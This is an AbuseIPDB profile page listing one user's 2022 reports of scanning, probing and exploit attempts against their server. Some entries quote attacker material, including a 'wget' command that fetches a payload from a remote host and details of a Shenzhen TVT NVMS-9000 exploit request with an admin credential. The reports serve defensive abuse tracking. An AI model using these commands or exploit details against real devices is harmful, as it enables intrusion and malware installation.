AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User technlerd joined AbuseIPDB in March 2022 and has reported 158 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇷🇴 2.57.122.98	31 Jul 2022	Continuously scanning ports 80-89	Port Scan
🇦🇹 77.73.131.143	31 Jul 2022	repeating probes of port 88	Hacking
🇺🇸 192.241.236.92	29 Jul 2022	MGLNDD attempt	Hacking
🇺🇸 159.203.167.200	28 Jul 2022	GET /system_api.php attempts to ports 80-88	Hacking
🇺🇸 171.22.30.42	28 Jul 2022	Login attempts as root, admin, report and administartor	Hacking
🇦🇹 77.73.131.143	26 Jul 2022	Repeatedly probing port 88	Port Scan
🇷🇺 109.194.240.183	24 Jul 2022	GET http:// and GET /status attempts to port 82	Hacking
🇺🇸 159.65.224.7	14 Jul 2022	GET /system_api.php and GET /c/version.js to ports 80-88	Hacking
🇪🇨 160.20.165.163	05 Jul 2022	GET /HNAP1/ attempt to port 82	Hacking
🇵🇹 161.230.158.192	03 Jul 2022	GET ncsi, GET HNAP, GET backup.bin, GET topgetrefresh_data.js and other attempts to ports 82 and 88	Hacking Web App Attack
🇺🇸 159.203.64.244	23 Jun 2022	GET /system_api.php attempts to ports 80-88	Web App Attack
🇺🇸 147.182.189.211	09 Jun 2022	GET info.php, GET .DS_Store, GET /server-status, GET /.env, GET /s/..., GET /config.json, GET /login ... show more GET info.php, GET .DS_Store, GET /server-status, GET /.env, GET /s/..., GET /config.json, GET /login.action a.o. attempts to port 89 show less	Hacking
🇺🇸 159.223.99.98	09 Jun 2022	GET info.php, GET .DS_Store, GET /server-status, GET /.env, GET /config.json, GET /login.action a.o. ... show more GET info.php, GET .DS_Store, GET /server-status, GET /.env, GET /config.json, GET /login.action a.o. attempts to port 86 show less	Hacking
🇩🇪 46.101.163.38	09 Jun 2022	GET /system_api.php attempts to ports 80-90	Hacking Web App Attack
🇺🇸 92.118.230.134	04 Jun 2022	Attempt to initiate reverse shell host from 47.22.24.246	Hacking Exploited Host
🇩🇪 207.154.222.120	02 Jun 2022	GET /system_api.php and GET /c/version.js attempts to ports 80-90	Hacking Web App Attack
🇺🇸 92.118.230.134	28 May 2022	NVMS-900 exploit attempt from 14.55.57.135 contains malicious payload "wget http://92.118.230.134/ga ... show more NVMS-900 exploit attempt from 14.55.57.135 contains malicious payload "wget http://92.118.230.134/garm7" show less	Hacking Exploited Host
🇺🇸 146.190.17.198	27 May 2022	GET /system_api.php, GET /c/version.js, GET /streaming/clients_live.php, GET /stalker_portal/c/versi ... show more GET /system_api.php, GET /c/version.js, GET /streaming/clients_live.php, GET /stalker_portal/c/version.js, GET /stream/live.php, GET /flu/403.html attempts to port 88 show less	Hacking Web App Attack
🇺🇸 92.118.230.134	24 May 2022	http://92.118.230.134/garm7 reverse shell destination initiated from 211.224.115.92 using Shenzhen T ... show more http://92.118.230.134/garm7 reverse shell destination initiated from 211.224.115.92 using Shenzhen TVT DVR NVMS-9000 exploit show less	Hacking Exploited Host IoT Targeted
🇰🇷 211.224.115.92	24 May 2022	Attempt of Shenzhen TVT DVR NVMS-9000 exploit using POST /editBlackAndWhiteList as admin:{12213BD1-6 ... show more Attempt of Shenzhen TVT DVR NVMS-9000 exploit using POST /editBlackAndWhiteList as admin:{12213BD1-69C7-4862-843D-260500D1DA40} using reverse shell to http://92.118.230.134/germ7 show less	Hacking IoT Targeted
🇵🇱 31.186.223.211	24 May 2022	Scanning ports 21, 70, 79, 82, 102, 104	Port Scan
🇨🇭 179.43.144.210	22 May 2022	Attempts to login as root, admin, report to ports 80-88 with simple passwords	Port Scan Hacking
🇺🇸 128.199.2.200	19 May 2022	GET /system_api.php attempts to ports 82 and 84	Port Scan Hacking
🇷🇺 85.119.151.251	14 May 2022	CONNECT fingerprints.bablosoft.com:443 GET http://fingerprints.bablosoft.com/ip?	Hacking
🇺🇸 144.126.215.19	12 May 2022	GET system_api.php attempts to ports 80-88	Port Scan Web App Attack